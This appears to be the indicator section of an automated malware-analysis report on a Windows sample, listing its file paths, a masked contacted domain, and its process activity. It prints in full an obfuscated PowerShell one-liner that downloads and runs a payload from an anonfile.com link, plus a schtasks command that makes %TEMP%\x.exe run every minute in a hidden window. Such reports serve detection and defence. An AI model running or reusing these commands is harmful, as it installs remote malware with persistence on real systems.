Technical Information
- <SYSTEM32>\tasks\update
- %TEMP%\x.exe
- 'an###ile.com':443
- DNS ASK an###ile.com
- '%TEMP%\x.exe'
- '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn "Update" /tr "%TEMP%\x.exe"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://anonfile.com/T9TaX3z1ob/Client_exe')' (with hidden window)
- '%TEMP%\x.exe' ' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn "Update" /tr "%TEMP%\x.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://anonfile.com/T9TaX3z1ob/Client_exe')
- '<SYSTEM32>\taskeng.exe' {DC4845BD-3AC4-47FB-AE11-7B3DD03A24CD} S-1-5-21-1960123792-2022915161-3775307078-1001:burtauazf\user:Interactive:[1]